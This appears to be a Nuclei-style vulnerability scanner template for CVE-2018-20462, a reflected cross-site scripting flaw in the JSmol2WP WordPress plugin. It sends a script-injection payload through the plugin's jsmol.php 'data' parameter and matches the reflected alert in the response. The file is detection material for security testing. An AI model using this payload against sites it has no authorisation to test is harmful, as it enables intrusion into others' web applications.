id: CVE-2018-20462

info:
  name: JSmol2WP <= 1.07 - Reflected Cross-Site Scripting (XSS)
  author: daffainfo
  severity: medium
  description: An issue was discovered in the JSmol2WP plugin 1.07 for WordPress. A cross-site scripting (XSS) vulnerability allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20462
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-20462
    cwe-id: CWE-79
  tags: cve,cve2018,wordpress,xss,wp-plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200